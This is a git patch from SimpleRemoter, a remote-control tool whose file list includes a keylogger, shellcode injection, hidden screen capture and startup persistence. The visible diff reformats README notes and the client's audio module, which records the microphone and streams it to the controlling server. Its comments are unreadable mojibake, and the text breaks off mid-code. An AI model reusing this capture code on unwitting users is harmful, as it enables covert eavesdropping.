From 6b81ad1f8156911b221af32593133033ceb12020 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 15 Oct 2025 04:32:59 +0800 Subject: [PATCH] style: Format source code and support grouping client --- ReadMe.md | 5 + ReadMe_EN.md | 11 + client/Audio.cpp | 332 +- client/Audio.h | 50 +- client/AudioManager.cpp | 155 +- client/AudioManager.h | 22 +- client/Buffer.cpp | 156 +- client/Buffer.h | 26 +- client/CaptureVideo.cpp | 363 +- client/CaptureVideo.h | 302 +- client/ClientDll.cpp | 755 +- client/ClientDll.h | 135 +- client/Common.cpp | 110 +- client/Common.h | 27 +- client/CursorInfo.h | 99 +- client/FileManager.cpp | 1117 +- client/FileManager.h | 59 +- client/IOCPBase.h | 7 +- client/IOCPClient.cpp | 890 +- client/IOCPClient.h | 319 +- client/IOCPKCPClient.cpp | 138 +- client/IOCPKCPClient.h | 30 +- client/IOCPUDPClient.cpp | 89 +- client/IOCPUDPClient.h | 10 +- client/KernelManager.cpp | 1121 +- client/KernelManager.h | 294 +- client/KeyboardManager.cpp | 146 +- client/KeyboardManager.h | 343 +- client/Loader.cpp | 457 +- client/LoginServer.cpp | 591 +- client/Manager.cpp | 226 +- client/Manager.h | 60 +- client/MemoryModule.c | 128 +- client/MemoryModule.h | 12 +- client/RegisterManager.cpp | 66 +- client/RegisterManager.h | 10 +- client/RegisterOperation.cpp | 297 +- client/RegisterOperation.h | 16 +- client/SCLoader.cpp | 20310 ++++++++-------- client/SafeThread.cpp | 149 +- client/SafeThread.h | 2 +- client/ScreenCapture.h | 767 +- client/ScreenCapturerDXGI.h | 336 +- client/ScreenManager.cpp | 1116 +- client/ScreenManager.h | 58 +- client/ScreenSpy.cpp | 165 +- client/ScreenSpy.h | 290 +- client/ServicesManager.cpp | 500 +- client/ServicesManager.h | 16 +- client/ShellManager.cpp | 295 +- client/ShellManager.h | 28 +- client/ShellcodeInj.h | 381 +- client/SimpleSCLoader.c | 44 +- client/SystemManager.cpp | 366 +- client/SystemManager.h | 24 +- client/TalkManager.cpp | 221 +- client/TalkManager.h | 22 +- client/VideoCodec.h | 197 +- client/VideoManager.cpp | 267 +- client/VideoManager.h | 32 +- client/X264Encoder.cpp | 218 +- client/X264Encoder.h | 44 +- client/auto_start.h | 105 +- client/clip.h | 167 +- client/d3d/d3dcaps.h | 4 +- client/d3d/d3drm.h | 184 +- client/d3d/d3drmdef.h | 421 +- client/d3d/d3drmobj.h | 1015 +- client/d3d/d3dtypes.h | 376 +- client/d3d/winapifamily.h | 32 +- client/d3d/winpackagefamily.h | 2 +- client/domain_pool.h | 46 +- client/dxtrans.h | 4264 ++-- client/keylogger.cpp | 256 +- client/main.c | 472 +- client/proxy/ProxyManager.h | 11 +- client/reg_startup.c | 523 +- client/resource.h | 2 +- client/resource1.h | 2 +- client/test.cpp | 590 +- common/aes.c | 587 +- common/aes.h | 35 +- common/commands.h | 1540 +- common/dllRunner.h | 43 +- common/encfuncs.h | 190 +- common/encrypt.h | 215 +- common/hash.h | 12 +- common/header.h | 265 +- common/ikcp.c | 1735 +- common/ikcp.h | 202 +- common/iniFile.h | 316 +- common/ip_enc.h | 81 +- common/location.h | 357 +- common/locker.h | 152 +- common/logger.h | 330 +- common/mask.h | 115 +- common/md5.h | 61 +- common/obfs.h | 72 + common/skCrypter.h | 179 +- common/wallet.h | 171 +- common/zstd_wrapper.c | 5 +- compress/jsoncpp/allocator.h | 127 +- compress/jsoncpp/config.h | 13 +- compress/jsoncpp/forwards.h | 3 +- compress/jsoncpp/json_features.h | 58 +- compress/jsoncpp/reader.h | 618 +- compress/jsoncpp/value.h | 1338 +- compress/jsoncpp/writer.h | 314 +- compress/libavcodec/avcodec.h | 74 +- compress/libavcodec/dv_profile.h | 4 +- compress/libavcodec/vorbis_parser.h | 2 +- compress/libavcodec/xvmc.h | 4 +- compress/libavutil/base64.h | 6 +- compress/libavutil/bprint.h | 12 +- compress/libavutil/cpu.h | 6 +- compress/libavutil/crc.h | 2 +- compress/libavutil/encryption_info.h | 2 +- compress/libavutil/frame.h | 36 +- compress/libavutil/hwcontext.h | 2 +- compress/libavutil/intreadwrite.h | 12 +- compress/libavutil/lfg.h | 6 +- compress/libavutil/log.h | 2 +- compress/libavutil/mem.h | 38 +- compress/libavutil/opt.h | 16 +- compress/libavutil/pixdesc.h | 2 +- compress/libavutil/pixelutils.h | 2 +- compress/libavutil/rational.h | 8 +- compress/libavutil/threadmessage.h | 6 +- compress/libyuv/libyuv/compare.h | 3 +- compress/libyuv/libyuv/compare_row.h | 3 +- compress/libyuv/libyuv/convert.h | 3 +- compress/libyuv/libyuv/convert_argb.h | 3 +- compress/libyuv/libyuv/convert_from.h | 3 +- compress/libyuv/libyuv/convert_from_argb.h | 3 +- compress/libyuv/libyuv/cpu_id.h | 23 +- compress/libyuv/libyuv/cpu_support.h | 3 +- compress/libyuv/libyuv/loongson_intrinsics.h | 506 +- compress/libyuv/libyuv/mjpeg_decoder.h | 216 +- compress/libyuv/libyuv/planar_functions.h | 3 +- compress/libyuv/libyuv/rotate.h | 19 +- compress/libyuv/libyuv/rotate_argb.h | 3 +- compress/libyuv/libyuv/rotate_row.h | 3 +- compress/libyuv/libyuv/row.h | 17 +- compress/libyuv/libyuv/row_sve.h | 1711 +- compress/libyuv/libyuv/scale.h | 11 +- compress/libyuv/libyuv/scale_argb.h | 3 +- compress/libyuv/libyuv/scale_rgb.h | 3 +- compress/libyuv/libyuv/scale_row.h | 11 +- compress/libyuv/libyuv/scale_uv.h | 3 +- compress/libyuv/libyuv/video_common.h | 299 +- compress/x264/x264.h | 68 +- compress/zlib/zconf.h | 80 +- compress/zlib/zlib.h | 82 +- compress/zstd/zdict.h | 34 +- compress/zstd/zstd.h | 310 +- compress/zstd/zstd.lib | Bin 1263788 -> 1035170 bytes compress/zstd/zstd_errors.h | 76 +- compress/zstd/zstd_x64.lib | Bin 1542602 -> 1544652 bytes linux/main.cpp | 211 +- server/2015Remote/2015Remote.cpp | 222 +- server/2015Remote/2015Remote.h | 183 +- server/2015Remote/2015Remote.rc | Bin 100780 -> 101438 bytes server/2015Remote/2015RemoteDlg.cpp | 4949 ++-- server/2015Remote/2015RemoteDlg.h | 521 +- server/2015Remote/2015Remote_vs2015.vcxproj | 1 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/AudioDlg.cpp | 130 +- server/2015Remote/AudioDlg.h | 34 +- server/2015Remote/Buffer.cpp | 297 +- server/2015Remote/Buffer.h | 178 +- server/2015Remote/BuildDlg.cpp | 707 +- server/2015Remote/BuildDlg.h | 44 +- server/2015Remote/CDrawingBoard.cpp | 402 +- server/2015Remote/CDrawingBoard.h | 72 +- server/2015Remote/CGridDialog.cpp | 300 +- server/2015Remote/CGridDialog.h | 55 +- server/2015Remote/CPasswordDlg.cpp | 224 +- server/2015Remote/CPasswordDlg.h | 70 +- server/2015Remote/CRcEditDlg.cpp | 138 +- server/2015Remote/CRcEditDlg.h | 28 +- server/2015Remote/CWalletDlg.cpp | 109 +- server/2015Remote/CWalletDlg.h | 38 +- server/2015Remote/Chat.cpp | 16 +- server/2015Remote/DateVerify.h | 255 +- server/2015Remote/DecryptDlg.cpp | 119 +- server/2015Remote/DecryptDlg.h | 34 +- server/2015Remote/EditDialog.cpp | 24 +- server/2015Remote/EditDialog.h | 18 +- server/2015Remote/FileManagerDlg.cpp | 3688 ++- server/2015Remote/FileManagerDlg.h | 293 +- server/2015Remote/FileTransferModeDlg.cpp | 53 +- server/2015Remote/FileTransferModeDlg.h | 34 +- server/2015Remote/HideScreenSpyDlg.cpp | 283 +- server/2015Remote/HideScreenSpyDlg.h | 70 +- server/2015Remote/IOCPKCPServer.cpp | 361 +- server/2015Remote/IOCPKCPServer.h | 108 +- server/2015Remote/IOCPServer.cpp | 1276 +- server/2015Remote/IOCPServer.h | 201 +- server/2015Remote/IOCPUDPServer.cpp | 275 +- server/2015Remote/IOCPUDPServer.h | 124 +- server/2015Remote/InputDlg.cpp | 62 +- server/2015Remote/InputDlg.h | 36 +- server/2015Remote/KeyBoardDlg.cpp | 10 +- server/2015Remote/Loader.c | 372 +- server/2015Remote/RegisterDlg.cpp | 417 +- server/2015Remote/RegisterDlg.h | 54 +- server/2015Remote/ScreenSpyDlg.cpp | 1255 +- server/2015Remote/ScreenSpyDlg.h | 130 +- server/2015Remote/Server.h | 1031 +- server/2015Remote/ServicesDlg.cpp | 312 +- server/2015Remote/ServicesDlg.h | 48 +- server/2015Remote/SettingDlg.cpp | 316 +- server/2015Remote/SettingDlg.h | 72 +- server/2015Remote/ShellDlg.cpp | 299 +- server/2015Remote/ShellDlg.h | 39 +- server/2015Remote/SortListCtrl.cpp | 2 +- server/2015Remote/SortListCtrl.h | 4 +- server/2015Remote/SystemDlg.cpp | 633 +- server/2015Remote/SystemDlg.h | 58 +- server/2015Remote/TalkDlg.cpp | 83 +- server/2015Remote/TalkDlg.h | 29 +- server/2015Remote/TrueColorToolBar.cpp | 148 +- server/2015Remote/TrueColorToolBar.h | 56 +- server/2015Remote/VideoDlg.cpp | 458 +- server/2015Remote/VideoDlg.h | 270 +- server/2015Remote/adapter.h | 18 +- server/2015Remote/file/CFileManagerDlg.cpp | 15 +- server/2015Remote/file/CFileManagerDlg.h | 344 +- server/2015Remote/file/CFileTransferModeDlg.h | 43 +- server/2015Remote/proxy/HPSocket.h | 476 +- server/2015Remote/proxy/HPTypeDef.h | 543 +- .../2015Remote/proxy/ProxyConnectServer.cpp | 31 +- server/2015Remote/proxy/ProxyConnectServer.h | 6 +- server/2015Remote/proxy/ProxyMapDlg.cpp | 28 +- server/2015Remote/proxy/ProxyMapDlg.h | 4 +- server/2015Remote/proxy/SocketInterface.h | 4498 ++-- server/2015Remote/pwd_gen.cpp | 287 +- server/2015Remote/res/frpc.dll | Bin 16425472 -> 16436224 bytes server/2015Remote/resource.h | Bin 50140 -> 50792 bytes server/2015Remote/sys/CInjectCodeDlg.h | 34 +- server/2015Remote/sys/MachineDlg.cpp | 59 +- server/2015Remote/sys/MachineDlg.h | 12 +- server/2015Remote/sys/ServiceInfoDlg.h | 2 +- server/2015Remote/xxhash.h | 702 +- 244 files changed, 43052 insertions(+), 42562 deletions(-) create mode 100644 common/obfs.h diff --git a/ReadMe.md b/ReadMe.md index 244a78f..f58a7bc 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -40,6 +40,11 @@ 主控程序在非中文系统可能显示乱码,有关解决方法参看 [#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157). +**代码风格:** + +```cmd +for /R %F in (*.cpp *.h *.c) do astyle --style=linux "%F" +``` # 2.免责声明 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index 9dce259..1a4ec65 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -35,6 +35,17 @@ If you are passionate about researching control programs and find this project u **Initial Release Date:** January 1, 2019 +**Compilation Method:** +This project is developed and maintained using **VS2019**, but it can also be successfully compiled with the latest **VS2022** compiler. For details, see [#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171). + +The main control program may display garbled text on non-Chinese systems. For solutions, refer to [#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157). + +**Source code style:** + +```cmd +for /R %F in (*.cpp *.h *.c) do astyle --style=linux "%F" +``` + # 2. Legal Disclaimer This project is a research-oriented implementation of remote control technology and is intended solely for legal and educational use. diff --git a/client/Audio.cpp b/client/Audio.cpp index 73b4678..07f002a 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -18,230 +18,214 @@ CAudio::CAudio() { - m_bExit = FALSE; - m_hThreadCallBack = false; - m_Thread = NULL; - m_bIsWaveInUsed = FALSE; - m_bIsWaveOutUsed = FALSE; - m_nWaveInIndex = 0; - m_nWaveOutIndex = 0; - m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL); - m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL); - memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); + m_bExit = FALSE; + m_hThreadCallBack = false; + m_Thread = NULL; + m_bIsWaveInUsed = FALSE; + m_bIsWaveOutUsed = FALSE; + m_nWaveInIndex = 0; + m_nWaveOutIndex = 0; + m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL); + m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL); + memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); - m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; - m_GSMWavefmt.wfx.nChannels = 1; - m_GSMWavefmt.wfx.nSamplesPerSec = 8000; - m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625; - m_GSMWavefmt.wfx.nBlockAlign = 65; - m_GSMWavefmt.wfx.wBitsPerSample = 0; - m_GSMWavefmt.wfx.cbSize = 2; - m_GSMWavefmt.wSamplesPerBlock = 320; + m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; + m_GSMWavefmt.wfx.nChannels = 1; + m_GSMWavefmt.wfx.nSamplesPerSec = 8000; + m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625; + m_GSMWavefmt.wfx.nBlockAlign = 65; + m_GSMWavefmt.wfx.wBitsPerSample = 0; + m_GSMWavefmt.wfx.cbSize = 2; + m_GSMWavefmt.wSamplesPerBlock = 320; - m_ulBufferLength = 1000; + m_ulBufferLength = 1000; - for (int i = 0; i < 2; ++i) - { - m_InAudioData[i] = new BYTE[m_ulBufferLength]; - m_InAudioHeader[i] = new WAVEHDR; + for (int i = 0; i < 2; ++i) { + m_InAudioData[i] = new BYTE[m_ulBufferLength]; + m_InAudioHeader[i] = new WAVEHDR; - m_OutAudioData[i] = new BYTE[m_ulBufferLength]; - m_OutAudioHeader[i] = new WAVEHDR; - } + m_OutAudioData[i] = new BYTE[m_ulBufferLength]; + m_OutAudioHeader[i] = new WAVEHDR; + } } CAudio::~CAudio() { - m_bExit = TRUE; + m_bExit = TRUE; - if (m_hEventWaveIn) - { - SetEvent(m_hEventWaveIn); - CloseHandle(m_hEventWaveIn); - m_hEventWaveIn = NULL; - } - if (m_hStartRecord) - { - SetEvent(m_hStartRecord); - CloseHandle(m_hStartRecord); - m_hStartRecord = NULL; - } + if (m_hEventWaveIn) { + SetEvent(m_hEventWaveIn); + CloseHandle(m_hEventWaveIn); + m_hEventWaveIn = NULL; + } + if (m_hStartRecord) { + SetEvent(m_hStartRecord); + CloseHandle(m_hStartRecord); + m_hStartRecord = NULL; + } - if (m_bIsWaveInUsed) - { - waveInStop(m_hWaveIn); - waveInReset(m_hWaveIn); - for (int i = 0; i < 2; ++i) - waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + if (m_bIsWaveInUsed) { + waveInStop(m_hWaveIn); + waveInReset(m_hWaveIn); + for (int i = 0; i < 2; ++i) + waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); - waveInClose(m_hWaveIn); - WAIT (m_hThreadCallBack, 30); - if (m_hThreadCallBack) - Mprintf("ûгɹرwaveInCallBack.\n"); - TerminateThread(m_Thread, -999); - m_Thread = NULL; - } + waveInClose(m_hWaveIn); + WAIT (m_hThreadCallBack, 30); + if (m_hThreadCallBack) + Mprintf("ûгɹرwaveInCallBack.\n"); + TerminateThread(m_Thread, -999); + m_Thread = NULL; + } - for (int i = 0; i < 2; ++i) - { - delete [] m_InAudioData[i]; - m_InAudioData[i] = NULL; - delete [] m_InAudioHeader[i]; - m_InAudioHeader[i] = NULL; - } + for (int i = 0; i < 2; ++i) { + delete [] m_InAudioData[i]; + m_InAudioData[i] = NULL; + delete [] m_InAudioHeader[i]; + m_InAudioHeader[i] = NULL; + } - if (m_bIsWaveOutUsed) - { - waveOutReset(m_hWaveOut); - for (int i = 0; i < 2; ++i) { - if (m_InAudioHeader[i]) - waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); - } - waveOutClose(m_hWaveOut); - } + if (m_bIsWaveOutUsed) { + waveOutReset(m_hWaveOut); + for (int i = 0; i < 2; ++i) { + if (m_InAudioHeader[i]) + waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + } + waveOutClose(m_hWaveOut); + } - for (int i = 0; i < 2; ++i) - { - delete [] m_OutAudioData[i]; - m_OutAudioData[i] = NULL; - delete [] m_OutAudioHeader[i]; - m_OutAudioHeader[i] = NULL; - } + for (int i = 0; i < 2; ++i) { + delete [] m_OutAudioData[i]; + m_OutAudioData[i] = NULL; + delete [] m_OutAudioHeader[i]; + m_OutAudioHeader[i] = NULL; + } } BOOL CAudio::InitializeWaveIn() -{ - MMRESULT mmResult; - DWORD dwThreadID = 0; +{ + MMRESULT mmResult; + DWORD dwThreadID = 0; - m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0, - waveInCallBack, (LPVOID)this, - CREATE_SUSPENDED, &dwThreadID); + m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0, + waveInCallBack, (LPVOID)this, + CREATE_SUSPENDED, &dwThreadID); - //¼豸COM 1 ָ 2 ֧̻ͨ߳ص - mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, - &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); + //¼豸COM 1 ָ 2 ֧̻ͨ߳ص + mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, + &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); - //m_hWaveIn ¼ - if (mmResult != MMSYSERR_NOERROR) - { - return FALSE; - } + //m_hWaveIn ¼ + if (mmResult != MMSYSERR_NOERROR) { + return FALSE; + } - //¼豸 Ҫ - for (int i=0; i<2; ++i) - { - m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ - m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; - m_InAudioHeader[i]->dwFlags = 0; - m_InAudioHeader[i]->dwLoops = 0; - waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); - } + //¼豸 Ҫ + for (int i=0; i<2; ++i) { + m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ + m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_InAudioHeader[i]->dwFlags = 0; + m_InAudioHeader[i]->dwLoops = 0; + waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + } - waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); - if (m_Thread!=NULL) - { - ResumeThread(m_Thread); - } - waveInStart(m_hWaveIn); //¼ + waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); + if (m_Thread!=NULL) { + ResumeThread(m_Thread); + } + waveInStart(m_hWaveIn); //¼ - m_bIsWaveInUsed = TRUE; + m_bIsWaveInUsed = TRUE; - return true; + return true; } LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize) { - //¼ - if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) - { - return NULL; - } + //¼ + if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) { + return NULL; + } - SetEvent(m_hStartRecord); - WaitForSingleObject(m_hEventWaveIn, INFINITE); - *dwBufferSize = m_ulBufferLength; - return m_InAudioData[m_nWaveInIndex]; // + SetEvent(m_hStartRecord); + WaitForSingleObject(m_hEventWaveIn, INFINITE); + *dwBufferSize = m_ulBufferLength; + return m_InAudioData[m_nWaveInIndex]; // } -DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) +DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) { - CAudio *This = (CAudio *)lParam; + CAudio *This = (CAudio *)lParam; - MSG Msg; + MSG Msg; - while (GetMessage(&Msg, NULL, 0, 0)) - { - if (This->m_bExit) - break; - if (Msg.message == MM_WIM_DATA) - { - SetEvent(This->m_hEventWaveIn); - WaitForSingleObject(This->m_hStartRecord, INFINITE); - if (This->m_bExit) - break; + while (GetMessage(&Msg, NULL, 0, 0)) { + if (This->m_bExit) + break; + if (Msg.message == MM_WIM_DATA) { + SetEvent(This->m_hEventWaveIn); + WaitForSingleObject(This->m_hStartRecord, INFINITE); + if (This->m_bExit) + break; - Sleep(1); - This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; + Sleep(1); + This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; - //» - MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, - This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); - if (mmResult != MMSYSERR_NOERROR) - break; - } + //» + MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, + This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); + if (mmResult != MMSYSERR_NOERROR) + break; + } - if (Msg.message == MM_WIM_CLOSE) - { - break; - } + if (Msg.message == MM_WIM_CLOSE) { + break; + } - TranslateMessage(&Msg); - DispatchMessage(&Msg); - } + TranslateMessage(&Msg); + DispatchMessage(&Msg); + } - Mprintf("waveInCallBack end\n"); - This->m_hThreadCallBack = false; + Mprintf("waveInCallBack end\n"); + This->m_hThreadCallBack = false; - return 0XDEADAAAA; + return 0XDEADAAAA; } BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) { - if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 Ƶʽ 2 豸 - return NULL; + if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 Ƶʽ 2 豸 + return NULL; - for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) - { - memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength); - waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR)); - m_nWaveOutIndex = 1 - m_nWaveOutIndex; - } - return true; + for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) { + memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength); + waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR)); + m_nWaveOutIndex = 1 - m_nWaveOutIndex; + } + return true; } BOOL CAudio::InitializeWaveOut() { - if (!waveOutGetNumDevs()) - return FALSE; - - for (int i = 0; i < 2; ++i) - memset(m_OutAudioData[i], 0, m_ulBufferLength); // + if (!waveOutGetNumDevs()) + return FALSE; - MMRESULT mmResult; - mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); - if (mmResult != MMSYSERR_NOERROR) - return false; + for (int i = 0; i < 2; ++i) + memset(m_OutAudioData[i], 0, m_ulBufferLength); // - for (int i = 0; i < 2; ++i) - { - m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; - m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; - m_OutAudioHeader[i]->dwFlags = 0; - m_OutAudioHeader[i]->dwLoops = 0; - waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR)); - } + MMRESULT mmResult; + mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); + if (mmResult != MMSYSERR_NOERROR) + return false; - m_bIsWaveOutUsed = TRUE; - return TRUE; + for (int i = 0; i < 2; ++i) { + m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; + m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_OutAudioHeader[i]->dwFlags = 0; + m_OutAudioHeader[i]->dwLoops = 0; + waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR)); + } + + m_bIsWaveOutUsed = TRUE; + return TRUE; } diff --git a/client/Audio.h b/client/Audio.h index c152fb8..55255e0 100644 --- a/client/Audio.h +++ b/client/Audio.h @@ -12,34 +12,34 @@ #include -class CAudio +class CAudio { public: - CAudio(); - virtual ~CAudio(); - GSM610WAVEFORMAT m_GSMWavefmt; - ULONG m_ulBufferLength; - LPWAVEHDR m_InAudioHeader[2]; //ͷ - LPBYTE m_InAudioData[2]; // - HANDLE m_hEventWaveIn; - HANDLE m_hStartRecord; //¼ - HWAVEIN m_hWaveIn; //豸 - DWORD m_nWaveInIndex; - bool m_hThreadCallBack; - HANDLE m_Thread;// waveInCallBack߳ - static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض - LPBYTE GetRecordBuffer(LPDWORD dwBufferSize); - BOOL InitializeWaveIn(); - BOOL m_bIsWaveInUsed; + CAudio(); + virtual ~CAudio(); + GSM610WAVEFORMAT m_GSMWavefmt; + ULONG m_ulBufferLength; + LPWAVEHDR m_InAudioHeader[2]; //ͷ + LPBYTE m_InAudioData[2]; // + HANDLE m_hEventWaveIn; + HANDLE m_hStartRecord; //¼ + HWAVEIN m_hWaveIn; //豸 + DWORD m_nWaveInIndex; + bool m_hThreadCallBack; + HANDLE m_Thread;// waveInCallBack߳ + static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض + LPBYTE GetRecordBuffer(LPDWORD dwBufferSize); + BOOL InitializeWaveIn(); + BOOL m_bIsWaveInUsed; - HWAVEOUT m_hWaveOut; - BOOL m_bExit; - BOOL m_bIsWaveOutUsed; - DWORD m_nWaveOutIndex; - LPWAVEHDR m_OutAudioHeader[2]; //ͷ - LPBYTE m_OutAudioData[2]; // - BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); - BOOL InitializeWaveOut(); + HWAVEOUT m_hWaveOut; + BOOL m_bExit; + BOOL m_bIsWaveOutUsed; + DWORD m_nWaveOutIndex; + LPWAVEHDR m_OutAudioHeader[2]; //ͷ + LPBYTE m_OutAudioData[2]; // + BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); + BOOL InitializeWaveOut(); }; #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 7605f9e..f91a52f 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -14,117 +14,108 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - Mprintf("new CAudioManager %p\n", this); + Mprintf("new CAudioManager %p\n", this); - m_bIsWorking = FALSE; - m_AudioObject = NULL; + m_bIsWorking = FALSE; + m_AudioObject = NULL; - if (Initialize()==FALSE) - { - return; - } + if (Initialize()==FALSE) { + return; + } - BYTE bToken = TOKEN_AUDIO_START; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)&bToken, 1, &mask); + BYTE bToken = TOKEN_AUDIO_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); - WaitForDialogOpen(); //ȴԻ - szPacket = NULL; + WaitForDialogOpen(); //ȴԻ + szPacket = NULL; - m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); + m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); } VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch(szBuffer[0]) - { - case COMMAND_NEXT: - { - if (1 == ulLength) - NotifyDialogIsOpen(); - break; - } - default: - { - m_AudioObject->PlayBuffer(szBuffer, ulLength); - break; - } - } + switch(szBuffer[0]) { + case COMMAND_NEXT: { + if (1 == ulLength) + NotifyDialogIsOpen(); + break; + } + default: { + m_AudioObject->PlayBuffer(szBuffer, ulLength); + break; + } + } } DWORD CAudioManager::WorkThread(LPVOID lParam) // { - CAudioManager *This = (CAudioManager *)lParam; - while (This->m_bIsWorking) - { - if(!This->SendRecordBuffer()) - Sleep(50); - } + CAudioManager *This = (CAudioManager *)lParam; + while (This->m_bIsWorking) { + if(!This->SendRecordBuffer()) + Sleep(50); + } - Mprintf("CAudioManager WorkThread end\n"); + Mprintf("CAudioManager WorkThread end\n"); - return 0; + return 0; } BOOL CAudioManager::SendRecordBuffer() -{ - DWORD dwBufferSize = 0; - BOOL dwReturn = 0; - //õ Ƶ - LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); - if (szBuffer == NULL) - return 0; - //仺 - szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1]; - //ͷ - szPacket[0] = TOKEN_AUDIO_DATA; //ض˷͸Ϣ - //ƻ - memcpy(szPacket + 1, szBuffer, dwBufferSize); - szPacket[dwBufferSize] = 0; - //ͳȥ - if (dwBufferSize > 0) - { - dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1); - } - return dwReturn; +{ + DWORD dwBufferSize = 0; + BOOL dwReturn = 0; + //õ Ƶ + LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); + if (szBuffer == NULL) + return 0; + //仺 + szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1]; + //ͷ + szPacket[0] = TOKEN_AUDIO_DATA; //ض˷͸Ϣ + //ƻ + memcpy(szPacket + 1, szBuffer, dwBufferSize); + szPacket[dwBufferSize] = 0; + //ͳȥ + if (dwBufferSize > 0) { + dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1); + } + return dwReturn; } CAudioManager::~CAudioManager() { - m_bIsWorking = 